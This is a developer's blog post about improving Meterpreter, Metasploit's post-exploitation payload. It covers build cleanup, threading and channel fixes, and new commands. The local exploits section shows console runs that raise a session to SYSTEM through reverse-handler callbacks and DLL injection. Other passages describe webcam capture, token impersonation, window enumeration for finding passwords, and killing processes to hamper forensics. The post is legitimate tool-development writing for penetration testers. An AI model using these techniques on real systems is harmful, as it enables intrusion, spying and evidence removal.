OJ's perspective

Security and software development

3 Months of Meterpreter

| Comments

In August this year I was fortunate enough to land a three-month contract working with the awesome people at Rapid7. The job: make Meterpreter more awesome on Windows. That’s right more awesome than it already is. Tough gig, but what an amazing opportunity!

Those three months have already come and gone, and what a ride it has been. In this post I would like to detail some of the work that has gone into Meterpreter, and Metasploit too, with a goal of helping others understand what it does and how it works. Ultimately, I’d love to start seeing some contributions from the community now that it’s substantially easier to build.

So, in a semi-chronological-semi-ad-hoc order, here’s how Meterpreter has evolved.

TL;DR

This post is long. So if you’re keen to see a nice summary, you should go and read the wicked post over at Security Street which gives a great summary of what’s in this post. Thanks to the rather classy Tod Beardsley for serving this baby up!

A Whole New Build Environment

Getting contributions from the Open Source community can be tricky enough, even when your build is clean and your development environment is very easy to get up and running. In the case of Meterpreter, neither of these things were true and hence anyone looking to contribute had to first negotiate the gauntlet of getting a functioning build environment configured.

My first task was to fix these problems. The immediate goal was to update the source so that it could be built with Visual C++ Express edition. The Express editions of Microsoft’s tools are free to download and use, and hence it would enable those who don’t have a paid version of Visual Studio to build Meterpreter.

With that I embarked on the relatively simple job of updating projects, solutions and some areas of the source code. When I started this work, Visual Studio 2012 was the current version and hence that was the target to support. One of my first pull requests to the Meterpreter repository was this upgrade, and thankfully it was very well received.

Then in typical fashion, just a couple of weeks after this work, Microsoft decides to release Visual Studio 2013! At first I didn’t consider going through the upgrade process, but soon after I thought it best that the effort was made to bring our toolset up to the bleeding edge and the rest of the team agreed. So no long after, a new pull request was submitted that brought things up to the latest and greatest.

Clean Command Line Builds

When I first tackled the Meterpreter build I saw two things that were just a little off-putting:

  1. There was one component, ext_server_sniffer, which wouldn’t build out of the box because of a missing dependency. This dependency, the packet sniffer SDK, is one that’s available to Rapid7 employees only, due to licensing restrictions on the code. With this dependency missing, the build would finish with errors.
  2. There were lots of warnings generated by the C++ compiler even when the build succeeded without errors. This was particularly bad in the case of the 64-bit build, for obvious reasons.
  3. There was no way of building everything from the command line; it had to be built from within Visual Studio. This meant that having the build run under the context of something like Jenkins wasn’t possible.

I wanted to see these things go away so that all future contributors would see 0 errors and 0 warnings when the build completed. Needless to say, removing all the warnings wasn’t a task that could be done overnight, but the error was definitely one that could be done.

I decided to solve the problem of the missing component by having different configurations baked into the projects. Meterpreter’s solution contains the usual Release and Debug configurations that everyone is used to. It now also contains two new configurations called r7_released and r7_debug. The former two build all the projects except for the ext_server_sniffer extension, while the latter two include it. Anyone who works for Rapid7, that has access to the proprietary packet sniffer SDK, would be able to use the configurations prefixed with r7_. All other contributors would be able to use the configurations they’re used to using. This does come with a little bit of confusion for the developer as they need to build with the correct configuration, but this is a small issue that can (and has) been fixed with documentation.

On the plus side, the command line build script is in the fortunate position of being able to detect the presence of the dependencies and choose which configuration to run. This means that it never results in an error.

So after a few weeks and lots of commits, I took the plunge and finalised the last of the issues with warnings, passed on a pull request which the legendary Juan landed, resulting in this …

Clean Builds

Clean builds make for a happy OJ. And with that locked in, it was decided by the team that “Treat warnings as errors” would be turned on for each of the projetcs so that any future warnings would result in failed builds. This now helps us keep the build clean.

With all this in place, we’re also able to constantly run CI builds for Meterpreter when commits are made to master and when pull requests come in. This is really helping us keep things clean and gives us much quicker feedback on what might be wrong with the source base.

Bug Fixes

There are a few worthy mentions from the bug fix department that I’d like to share with you.

64-bit Pointer Truncation

In some scenarios, on a 64-bit version of Windows, migration of Meterpreter would sometimes result in the session terminating unexpectedly. This rather intimidating bug was the first I attempted to fix when I joined the project, and I documented the analysis and resolution in a previous blog post, so if you’re interested in the detail please have a read of that article. If you’re too lazy, the TL;DR version is that 64-bit pointers were being truncated to 32-bit as a result of a bad function pointer type declaration. This wasn’t an issue until recently because it appears that new versions of ASLR have just started allocating above the 4GB boundary.

Crashy Meterpreter with MS08-067

Penetration testers all around the world have fallen in love with MS08-067, and rightly so. It has proved to be a very reliable exploit and has served the industry well. So imagine the dismay that some testers experienced when using the Meterpreter payload with this exploit on Windows XP (without any service packs) and seeing their session crash on startup. Horrible. The reason for this was due to Meterpreter attempting to enumerate NICs on the target box when first setting itself up. In Windows XP SP1 and onwards, certain parts of the Windows API had changed to allow for easier gathering of certain bits of information. Prior to this, it wasn’t so easy. Bear in mind that Meterpreter doesn’t really know anything about the system that it’s running on so it attempts to figure it out as it goes. In this particular case it failed to properly detect the host operating system’s capabilities and attempted to read invalid areas of memory. After much investigation, and a great deal of help from Juan (again, who is legendary, I’m not sure if I mentioned that), we landed a fix for the problem, and there was much rejoicing.

Multi-call Railgun failures

The glory of Railgun was slightly tarnished by a not-so-stable multi-call function which was causing crashes in Meterpreter sessions. A slight tweak of the code on both the Meterpreter side and the Metasploit side resulted in this problem going away and allowing other modules to make better use of Railgun through a lower number of calls. Less chatty comms can only be a good thing.

Sniffer Extension Fixes

The ext_server_sniffer extension suffered from a bit of 64-bit hate. It had on a number of occasions crashed sessions under 64-bit and failed to run completely on newer versions of Windows. Some rework of the packet sniffer SDK, along with rebuilding binaries using the new toolchain, resulted in both of these problems disappearing.

Deadly Webcam Snapshots

A much-loved feature of Meterpreter is it’s ability to take a snapshots from an attached webcam and download them to the attacker’s machine. This nifty feature could sometimes result in crashy sessions, and nobody likes crashy sessions.

The reason this was happening was because of the way that webcam capture was implemented combined with the mechanism that Meterpreter uses to manage command execution. Each command that is executed in the context of Meterpreter is run on a separate thread. There are a few reasons for this which we won’t go into now, but bear this mind while we dive into the webcam snapshot implementation.

Webcam interaction is controlled using three functions:

  1. Starting the webcam using stdapi.webcam.webcam_start.
  2. Capturing a frame from the webcam using stdapi.webcam.webcam_get_frame.
  3. Stopping the webcam using stdapi.webcam.webcam_stop.

When the camera is “started”, Meterpreter fires up COM and uses a set of interfaces to manage camera initialisation and interaction. When the camera is stopped, these interface instances are destroyed and COM is shut down. The problem here is that COM needs to be initialised and shutdown on the same thread, and given that each command is executed on separate threads, COM got upset and sometimes died. The problem wasn’t consistent, in that it worked on quite a few platforms and cameras, but not on others. I was only able to reproduce the problem with one camera on Vista x86.

The solution was simple: we now have a separate thread of execution that we use to do all the webcam-related work on. Since this fix has been put in place we haven’t seen any more webcam-related crashes on Windows!

Meterpreter not Shutting Down

When Meterpreter is launched from an executable generated using msfpayload, the exit command would fail to actually terminate the process. This is obviously a bad thing as far as forensics goes, as leaving running processes behind leaves evidence of exploitation.

This bug has been half fixed. That is, the reverse_tcp and bind_tcp payloads now exit cleanly, but the reverse_http and reverse_https payloads still need work (we will get them fixed though). Lots of work had to go into finding a cleaner shutdown process from within Meterpreter, and that is covered in the “Engine Room Improvements” section of this post. The rest falls under the category of “how do we fix the payloads”, which will have to come in a later post once we’ve solved the issue.

Unstable Channels

You might not know this, but every time you type shell into a Meterpreter prompt, you’re opening a channel. When you download a file, you open a channel. Almost everything you do when you interact with Meterpreter results in a channel being opened. In some cases, such as when using shell, the channel persists for an extended period of time. Pressing CTRL+Z allows you to put such a channel into the background so that you can continue working with other Meterpreter features, after which you can bring the channel back into the foreground using the channels command.

Well, that’s how it was supposed to work, but this was broken on both Windows and POSIX builds of Metepreter. The work required to fix this was quite in-depth, and hence is covered in the “Engine Room Improvements” section of this post.

Engine Room Improvements

Changes have come through in many forms from cosmetic to major heart surgery. This section covers some of the more gory details from the latter of these two categories.

Improved Security

The last thing that we’d like to have happen to a Meterpreter use is for them to be owned by the victim during an attack. While this might be rather implausible, we decided to run through the source and make a point of addressing any potentially risky function calls. Prime candidates for refactoring include functions such as strcpy, the Honey Badger of the C standard library. We cleaned up a great deal of those in a single pull request and on the whole Meterpreter became much more trustworthy.

Command Dispatcher Surgery

The notion of a “command” won’t be new to anyone who has used Meterpreter before. Simply, a command is the context of a single instance of execution. It can wrap up a simple request/response call, such as getpid, which allows for execution of commands on the victim’s machine. No rocket science there.

However, the implementation of the command mechanism had one limitation that forced a couple of issues to bubble to the surface:

  1. Every single command invoked in Meterpreter is executed on a separate thread. For the most part this is OK, and is what you want to have happen behind the scenes so that the main dispatcher thread doesn’t block while waiting for potentially long-running commands to execute. However, there are times when the main dispatcher thread should be used instead.
  2. There was no clean way to tell the main dispatcher thread to stop processing commands, and so shutting down cleanly wasn’t as simple job. Instead it required signalling of events across threads which caused some interesting bugs to appear, particularly in POSIX.

Instead of attempting to debug the problems that we were seeing, I decided to get the scalpel out and rework the command handling so that there were two modes of operation instead of just the one. At first I thought this change would be quick, but I soon realised there was a bit more to it.

The first thing I needed to do was to come up with a way of allowing individual commants to indicate whether they were to be executed on separate threads or not. At first I thought it’d be useful to allow the attacker to tell Meterpreter on the fly, but I follow through with this idea because there’s no only room for abuse, but the attacker isn’t always the best judge of what should happen and on what thread it should happen on.

Commands already have two pointers to functions which perform the handling of requests and responses. These pointers of a type called DISPATCH_ROUTINE which is declared as follows:

Definition of DISPATCH_ROUTINElink
1
typedef DWORD (*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);

At first I felt that this would be easy to reuse for inline processing. However, after some thought, I went instead with the idea of an INLINE_DISPATCH_ROUTINE which has the following prototype:

Definition of INLINE_DISPATCH_ROUTINElink
1
typedef BOOL (*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result);

The reasons I decided to do this are:

  1. It provides a definitive semantic separation of intent between something that’s inline and something that is not.
  2. I wanted the prototype to be reflective of the difference in meaning to the caller.
  3. The inline dispatch routine needed to have a way of indicating to the calling thread that processing should cease or continue.

The return value of the INLINE_DISPATCH_ROUTINE is a simple BOOL which says “continue processing” in the case of TRUE and “stop processing” in the case of FALSE. This simple return value makes it easy for the main dispatcher thread to check to see if a particular command has requested termination, as you can see from the updated body of the command dispatcher thread. Having this in place meant that none of the commands required references to the server’s state in order to have it terminated via a signal, and this itself preventing POSIX from segfaulting when exiting the process.

Of course, this change wasn’t something that could be added in easily due to the nature of Command declarations. Instead of making a point of changing each and every command so that it catered for this new INLINE_DISPATCH_ROUTINE, I thought it best to take a semi-MFC-style approach and produce some macros which better indicate the intent of commands when they are declared. This was made more important by the fact that each command was getting another member, and hence the declaration of each would have to change.

Full details of these macros can be found in the source code, but to demonstrate the difference these make take a look at the difference between this:

Old command declarations
1
2
3
4
5
6
7
8
9
10
11
12
13
Command custom_commands[] =
{
    { "core_loadlib",
        { request_core_loadlib,              { 0 }, 0 },
        { EMPTY_DISPATCH_HANDLER                      },
    },

    // Terminator
    { NULL,
        { EMPTY_DISPATCH_HANDLER                      },
        { EMPTY_DISPATCH_HANDLER                      },
    },
};

and this:

New command declarations
1
2
3
4
5
Command customCommands[] =
{
    COMMAND_REQ("core_loadlib", request_core_loadlib),
    COMMAND_TERMINATOR
};

I hope you agree this does a better job of indicating intent and it also makes it harder to make mistakes, and it also hides the detail of implementation.

With these changes in place, I was then able to change the two main shutdown functions so that they use this new functionality. The two commands that close Meterpreter sessions down are exit and migrate, so those were both changed:

Inline Request Declarationlink
1
2
3
4
5
6
7
8
9
Command base_commands[] =
{
    // ... snip ...
    // Migration
    COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate),
    // Shutdown
    COMMAND_INLINE_REQ("core_shutdown", remote_request_core_shutdown),
    // ... snip ...
};

At this point Meterpreter shutdowns were more deterministic … at least for reverse_tcp payloads!

If you’re interested in taking a look at the guts of the rework you can see it in this pull request.

Channel Surgery

The core communication mechanism used by the internals of Meterpreter are called channels. A channel is a bit of an abstract concept, but effectively it’s hard to do anything with Meterpreter without using one. If you execute a command from MSF to Meterpreter running on a victim’s machine, you’re using channels.

As you can imagine, the thought of mucking with this beauties strikes fear into any sane person. It should, however, be obvious that I lost all my sanity thanks to years of enterprise software development, and so the thought of tweaking the innards of channels didn’t faze me at all.

A bug had been submitted to Redmine which indicated that in both Windows and POSIX Meterpreter was suffering from issues where channels were behaving incorrectly in various scenarios, including when put in the background. For the uninitiated, you can execute the shell command from within Meterpreter and end up with a native system shell; /bin/bash for POSIX and cmd.exe for Windows. You are then able to press CTRL+Z and MSF asks if you wish to background the channel, effectively putting it on ice while you do other things with Meterpreter (via other channels, HA!). To bring this channel back into the foreground, the channels command can be used with the -i switch. Another issue with this was that the processes running behind the backgrounded channels were left hanging, even when Meterpreter was closed. This obviously doesn’t look good forensically.

At least, that’s how it was supposed to happen. But the fact of the matter was that backgrounded channels were broken. Bringing them back into the foreground never worked. Best case, the channel would close, and you’d end up back at the Meterpreter shell. Worst case, the entire Meterpreter session would crash, which was what happened most of the time on POSIX.

This was the issue that I was aiming to fix when I first started, and it turned out there were a few fundamental things that had to change to support it. To understand the problem, we need to take a look at the scheduler (cue the scary music). The scheduler is a bit of code that is responsible for managing the lifetime of channels (and a few other things) and for some reason the implementation for Windows was very different to POSIX, which to a point explained the differences we were seeing when testing.

For this discussion, we’ll stick to Windows and to the interactive channels which are responsible for dealing with shells. When an interactive channel is created that is tied to a background shell process a bunch of things happen:

  1. A process is created which contains the shell, in this case cmd.exe.
  2. Handles to stdin and stdout are acquired and stored alongside the channel.
  3. A thread is created and the work for that channel is tied to the thread.
  4. The scheduler is handed the detail of the channel so that the lifetime of the channel can be managed.

A noteworthy exclusion to the captured metadata is the handle to the process being managed. As soon as the thread made it to the scheduler, the reference to the newly-created process was lost. At this point Meterpreter had no chance of correctly terminating processes automatically because it had no idea of which process to close. It might be able to be inferred in some cases, but it was impossible to infer in the general case.

The first thing I did was fix this small issue so that at any time, Meterpreter knew which process was being managed by which thread and which channel. This made it possible to close down any associated process at the correct time, such as Meterpreter shutting down or when the user terminates a channel via the channels -c command.

I then looked deeper into the scheduler’s code and found that the management thread wasn’t behaving as expected. Here’s a summary of what it was doing:

  1. Extracting references to channel handles (which in our case would be the read handle for stdout and the thread’s sigterm handle for when an external entity wanted to signal the closing of the channel).
  2. Waiting on each of those handles until a system event indicated that one of them has had some activity. Think [WaitForMultipleObjects][] in the Win32 API.
  3. When an event signal is received, the code would handle it, and either exit the loop if told to do so, or read data from the process’s stdout.
  4. Rinse and repeat until close.
  5. On close, clean up all the thread context, the channel context, etc.

In case it’s not clear, there was something missing from this: there was no way to suspend the channel. When was happening when a channel was put in the background was that the loop was exited, and all the context was destroyed/closed. At this point it was not possible to bring it back.

To fix this problem, I changed a bunch of things:

  • Channel’s had more stuff added to their context:
    • An event handle for suspension requests.
    • An event handle for resumption requests.
  • The scheduler thread loop waited on the suspension object as well as the original two.
  • When channels were backgrounded, the calling code signalled the suspenction event and continued on it’s merry way. The scheduler would simply block and wait on the resumption event only. No channel context is destroyed at this point like it was before.
  • When the channel is to be brought into the foreground, the caller signals the resumption event and carries on as it did before. The scheduler receives this signal and then continues to wait, process and loop like it did before.
  • If a channel is terminated while suspended, the caller signals resumption prior to termination, so this means that the channel’s scheduler thread doesn’t hang.
  • When a channel is terminated, the process that is associated with the channel is also terminated.

Once this work was done, I completely removed the old POSIX implementation and replaced it with this new one. It wasn’t a smooth transition as I had to tweak a few other things, including the signalling code. This was because on Windows we were using [AutoResetEvent][] objects, but POSIX wasn’t behaving the same.

There were a few other issues with regards to competing threads cleaning things up when they shouldn’t resulting in some threads terminating horribly periodically. This was also adjusted so that the termination and tidying were a little more deterministic (yes, I keep using that word).

The guts of the work can be found in this pull request. There’s actually not that much to it, but the nature of the changes were scary given that they messed with a pretty important part of the application.

Thankfully, so far, it would seem that this really has improved things, and Meterpreter has been a lot more stable in both POSIX and Windows since this was rolled into master. Thanks again to Egypt for his testing and landing of this one.

Local exploits

I wish I could claim that I had built these myself, but that would be dishonest. The work that I did with local exploits involved refactoring and moving them around. I hope that some point soon I’ll actually contribute a whole new exploit built by me from the ground up.

KiTrap0D

This exploit is a gem from the mighty Tavis Ormandy, and was published in various places including the Full Disclosure mailing list a few years back.

The first version of the KiTrap0D exploit made it into Metasploit in the form of a Meterpreter script that was run once a session had been established. Over time it changed and moved, then ended up in the getsystem command thanks to some work by Stephen Fewer.

Many of us love getsystem and what it gives us, but not many of use really know how it works. Once Stephen had done his work, the getsystem command had 4 different methods in which to gain SYSTEM privileges. 3 of them were abusing various properties of Windows, and the last one (KiTrap0D) was an actual ring0 exploit. When getsystem is invoked without any parameters, Meterpreter loops through all of the existing methods to elevate and tries each one in order. It will keep trying until it either runs out of options, or one of the methods succeeds. The user can choose to use a single method by using the -t switch, but most of the time nobody bothers with that, as they don’t really care which method works as long as they end up with elevated privileges.

Unfortunately, on later versions of Windows, the first few methods of elevation don’t have the hit-rate they have on earlier versions. As a result, the getsystem call manages to try the KiTrap0d exploit quite a bit more, and this sometimes resulted in either broken sessions. It had also been known to blue-screen boxes too, which isn’t a great look at all, and it’s frustrating for the testers.

After discussing it with the team, it was decided that it should not be included as part of getsystem command, but instead be moved into a local exploit that can be invoked by the user if and when they want to.

Both Meterpreter and Metasploit needed to be updated to accommodate this, but the result is really nice. Here’s a sample run of the new exploit:

KiTrap0d Exploit in Action
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf exploit(handler) > exploit

[*] Started reverse handler on XX.XX.XX.40:8000 
[*] Starting the payload handler...
[*] Sending stage (785920 bytes) to XX.XX.XX.43
[*] Meterpreter session 1 opened (XX.XX.XX.40:8000 -> XX.XX.XX.43:49234) at 2013-11-27 19:55:43 +1000

meterpreter > getuid
Server username: WIN-P73NLAJOYFH\OJ
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set session 1
session => 1
msf exploit(ms10_015_kitrap0d) > exploit
[*] Reloading module...

[*] Started reverse handler on XX.XX.XX.3:4444
[*] Launching notepad to host the exploit...
[+] Process 1288 launched.
[*] Reflectively injecting the exploit DLL into 1288...
[*] Exploit injected. Injecting payload into 1288...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (768512 bytes) to XX.XX.XX.3
[*] Meterpreter session 3 opened (XX.XX.XX.3:4444 -> XX.XX.XX.3:51569) at 2013-11-13 23:53:36 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

This was the first time I’d ever worked with local exploits, and I won’t deny that finishing it and seeing it all working made me feel like this:

Yeah!

(Thanks to my good friend Justin for showing me this image.)

This exploit doesn’t mess with your existing session at all, so that should continue to function as before. This exploit also supports the use of different payload types, just like every other exploit, making it a little more flexible than when it was part of getsystem. If you’re interested in seeing how the module works, take a look at the source on Github.

After this change was merged, pentesters worldwide would rejoice in the fact that they could now resume normal getsystem programming instead of having to worry about sessions dying and machines crashing.

A big shout out goes to sinn3r and Juan for helping get this over the line.

ppr_flatten_rec

While doing the work to refactor the Reflective DLL Injection functionality into a git submodule, allowing all exploits and Meterpreter itself to share the same codebase, I had to go through existing exploits and make sure they configured to use this new submodule. ppr_flatten_rec was one of the two that needed updating (the other was KiTrap0D).

This exploit is quite nifty, though due to the nature of what it does, it can also make target systems unstable. For example, on my Windows 7 x86 machine, this exploit almost always worked, but would also make the desktop totally unusable. However, on my Windows Vista SP2 x86 box, I rarely had problems.

The original version of this module elevated an existing session rather than doing what all good local exploits should do and create a new session post-elevation. So while I was refactoring for submodules I decided to fix this up as well. The result is a nicer local exploit that goes like this:

ppr_flatten_rec Exploit in Action
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf exploit(handler) > exploit

[*] Started reverse handler on XX.XX.XX.40:8000 
[*] Starting the payload handler...
[*] Sending stage (785920 bytes) to XX.XX.XX.43
[*] Meterpreter session 1 opened (XX.XX.XX.40:8000 -> XX.XX.XX.43:49234) at 2013-11-27 19:55:43 +1000

meterpreter > getuid
Server username: WIN-P73NLAJOYFH\OJ
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec) > set session 1
session => 1
msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on XX.XX.XX.40:4444 
[*] Launching notepad to host the exploit...
[+] Process 3128 launched.
[*] Reflectively injecting the exploit DLL into 3128...
[*] Exploit injected. Injecting payload into 3128...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 10 sec ...
[*] Sending stage (785920 bytes) to XX.XX.XX.43
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (XX.XX.XX.40:4444 -> XX.XX.XX.43:49235) at 2013-11-27 19:56:37 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Another big shout out goes to sinn3r and Juan for aiding in making my code less shitty.

New Features

Making Meterpreter more stable, less crashy and more reliable is always the focus of the work, but at the same time it’s important to improve it’s feature set, along with that of Metasploit itself. We’ve had some nice new features and upgrades in the toolset and I’d like to share a few of them here.

IPv6 Addresses in ipconfig

Work had already been done to make Windows render the IPv6 addresses on a victim machine, but there were a couple of things in the way of having them passed down to Metasploit when NICs were being parsed. [This pull request][ipv6_pr] adjusted things so that these addresses are included in the output.

Here’s what it looks like on one of my Vista VMs:

ppr_flatten_rec Exploit in Action
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 10
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:49:ae:13
MTU          : 1480
IPv4 Address : XX.XX.XX.52
IPv4 Netmask : 255.255.248.0
IPv6 Address : YYYY:YYYY:YYYY:0:5495:4239:4f53:7361
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : YYYY:YYYY:YYYY:0:5d5f:b4b3:22ed:8311
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : ZZZZ::ZZZZ:ZZZZ:ZZZZ:7361
IPv6 Netmask : ffff:ffff:ffff:ffff::

Incognito v2

Incognito has been part of Meterpreter for a while in the form of the ext_server_incognito extension. This handy extension lets you do some magic with impersonation via tokens and is really useful during a penetration test. The original version of Incognito was implemented a long time, but since that first version was released a new version, Incognito v2, was released which fixed a bunch of bugs and added some other cool improvements. We decided to include this update in Meterpreter, and so I submitted this pull request which included these changes (among other things) and the fantastic todb did me the honour of landing it in master.

getenv

It’s not surprising to know that post-exploitation tasks can sometimes require access to variables that live inside the compromised machine’s environment. However, there wasn’t a sensible way to get access to this functionality, and as a result lots of module developers cheated and used the expand_path function that’s part of the Standard API’s File System module.

I was talking to Egypt on IRC one morning and he mentioned that this was happening and that it really should be fixed so that environment variables are easily accessible without having to use the file system functions (which have a different semantic meaning).

And, lo, the getenv changes were made to Windows Meterpreter, Python Meterpreter, PHP Meterpreter and Metasploit framework, and all about us knew that it was good. Here it is in action (showing how tolerant it is of $ and % symbols):

getenv in action in Windows Meterpreter on Windows 7 x64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > sysinfo
Computer        : WIN-S45GUQ5KGVK
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64
meterpreter > getenv DOESNOTEXIST
[-] None of the specified environment variables were found/set.
meterpreter > getenv temp $prompt $USERNAME %WINDIR% COMSPEC %windows_tracing_flags%

Environment Variables
=====================

Variable               Value
--------               -----
prompt                 $P$G
windows_tracing_flags  3
temp                   C:\Users\OJ\AppData\Local\Temp
WINDIR                 C:\Windows
COMSPEC                C:\Windows\system32\cmd.exe
USERNAME               OJ
getenv in action in Python Meterpreter on Linux x64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
meterpreter > sysinfo
Computer     : ropchain
OS           : Linux 3.11.8-200.fc19.x86_64 #1 SMP Wed Nov 13 16:29:59 UTC 2013
Architecture : x86_64
Meterpreter  : python/python
meterpreter > getenv PATH $PAGER %DISPLAY% TERM foo_doesnt_exist

Environment Variables
=====================

Variable  Value
--------  -----
PATH      /home/oj/bin:/home/oj/.rvm/bin:/opt/mono/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/home/oj/.rvm/bin
DISPLAY   :0.0
PAGER     less
TERM      xterm-256color

Big ups to Egypt for the idea, for implementing the PHP version, and for landing the PR into master.

getproxy

This little gem was implemented after a chat with mubix over a coffee one morning (he has a habit of feeding me ideas). He spoke about how it’d be handy to be able to read the details of the system’s proxy configuration in Windows, as this is used by Chrome and Internet Explorer behind the scenes. It didn’t seem too hard, so I went ahead one evening and made it happen.

getproxy in action in Windows Meterpreter when no proxy is configured
1
2
3
4
5
meterpreter > getproxy
Auto-detect     : No
Auto config URL : 
Proxy URL       : 
Proxy Bypass    : 
getproxy in action in Windows Meterpreter when a proxy has been configured
1
2
3
4
5
meterpreter > getproxy
Auto-detect     : Yes
Auto config URL : http://baz:8080/foo.pac
Proxy URL       : foo:80
Proxy Bypass    : test;testagain;<local>

Another hat tip goes to todb for landing the pull request.

Kill -s

Meterpreter sessions make it easy for the attacker to terminate processes via the kill command, however there’s a level of protection in place in the console that is there to stop you from killing yourself. That is, if you somehow manage to pass in the PID of the Meterpreter session itself Metasploit will stop you. For the most part this makes sense, however there are times when you may actually want to terminate the current process.

One example is when msfpayload is used to generate an executable that contains a reverse_http or reverse_https payload. As mentioned earlier, these payloads don’t currently exit cleanly when using the exit command (we know! we’re on it!), and so termination of the session does happen on the attacker’s machine but on the victim’s machine the process continues to run. This is obviously far from ideal.

A short term fix was to add a -s option to the kill command which says “please kill myself”. Those people using either of those payloads with Meterpreter can use this to “force kill” the executable to prevent it from running after the session has ended. Yes, it’s a small win, but it could prove useful and help people make forensics a little harder while we sort out the main part of the problem.

Note: This doesn’t make for a clean shutdown of Metasploit sessions, for obvious reasons!

Extended API extension

The Extended API, or extapi, is an extension that was born out of the need to have more helpful functionality for post-exploitation that didn’t really belong in the Standard API (stdapi). Extra functionality is always nice, but you don’t necessarily want to add extra weight to stadpi when it’s already big enough.

The meat of extapi comes from ideas that were shared with me by Mubix and Kernelsmith, so credit where credit is due, these guys were the minds behind the extension. I just built it, which is the easy bit. The extension is new, and only has a little bit of functionality so far, but I have a goal to add a lot more very useful stuff in the future. The Metasploit pull request can be found here and the Meterpreter side is over here if you’d like to dive into the code.

Tod posted some details about this extension on a recent Metasploit blog post (thanks Tod!), but I’m going to dive into the guts a little more in this post.

extapi is Windows-only at this point, as the functionality that was added is Windows-specific. However, there’s plenty of room for improvement and plenty of room for addition of features that POSIX will appreciate. If you feel compelled to get involved this is a great spot to get started.

To load extapi, do the same as you would with any other extension:

getproxy in action in Windows Meterpreter when a proxy has been configured
1
2
meterpreter > use extapi
Loading extension extapi...success.

And with that, let’s take a look at the features.

Window Integration

Output from running ‘help’ at the Meterpreter prompt
1
2
3
4
5
6
Extapi: Window Management Commands
==================================

    Command       Description
    -------       -----------
    window_enum   Enumerate all current open windows

On initial inspection this feature might seem rather uninteresting, but give it a chance. The goal here was to make it possible to enumerate all the windows on the current desktop to give you a clearer view of what the user is running, and to perhaps allow for interaction with those Windows later via Railgun. Being able to enumerate child windows of a given can also prove handy in some scenarios, and so this feature was also added.

So why is it useful? Running ps on a target machine will only give you so much. You might be able to see that notepad.exe is running, but you didn’t know that the user was currently editing passwords.txt. Window enumeration will tell you that. That little bit of extra context can really help a penetration tester focus their attack a little better, and let’s face it, you can never have too much information when doing such tests.

Detailed help for the window_enum command looks like this:

Output from running ‘help’ at the Meterpreter prompt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
meterpreter > window_enum -h

Usage: window_enum [-h] [-p parent_window] [-u]

Enumerate the windows on the target.

Enumeration returns the Process ID and Window Handle for each window
found. The Window Handle can be used for further calls to window_enum
or the railgun API.

OPTIONS:

    -h        Help banner
    -p <opt>  Parent window handle, used to enumerate child windows
    -u        Include unknown/untitled windows in the result set

Note: Not all windows can be enumerated. An attempt to enumerate
      the children of such a window will result in a failure with the
      message "Operation failed: The parameter is incorrect."

The -p parameter is used when you’re interested in looking at the child windows of a given window. This can be handy when narrowing down your search for meaningful information. If it’s omitted, all the named top-level windows are enumerated. Some windows, when enumerated, do not yield a window title and by default these windows are not returned in the result set. To have them included, the -u parameter can be used. Each window that isn’t named will have <unknown> specified as the window title.

Here’s a sample call, running on the context of the SYSTEM user on a Windows XP machine:

Output from running ‘help’ at the Meterpreter prompt
1
2
3
4
5
6
7
8
9
10
meterpreter > window_enum

Top-level windows
=================

PID  Handle  Title
---  ------  -----
956  65646   SYSTEM AGENT COM WINDOW

Total top-level Windows: 1

As you can see, the SYSTEM user doesn’t have many windows open, which makes sense. The context that Meterpreter is running under is the one under which the windows are enumerated. Therefore, to view the windows for a given user, the process must be running as that user. Here’s a more interesting sample running as a user that actually has a desktop session running:

Output from running ‘help’ at the Meterpreter prompt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
meterpreter > window_enum

Top-level windows
=================

PID   Handle  Title
---   ------  -----
156   196894  passwords - Notepad
288   327766  C:\WINDOWS\System32\cmd.exe
540   65574   NetDDE Agent
608   131170  Start Menu
608   65780   MS_WebcheckMonitor
608   65782   Power Meter
608   131328  Connections Tray
608   65728   Program Manager
1712  196868  vmtoolsdControlWndTitle
1712  65804   DnDControlTitle
1712  65810   UnitySetTopWindowGroupWindow
1712  65812   GuestHostIntegrationWindow
1712  65800   VMSwitchUserControlTitle
1712  65802   VMDisplayChangeControlTitle
1744  131292  DDE Server Window

Total top-level Windows: 15

As you can see, it’s possible to get more interesting information using this utility. That notepad instance looks like it could yield some juicy information.

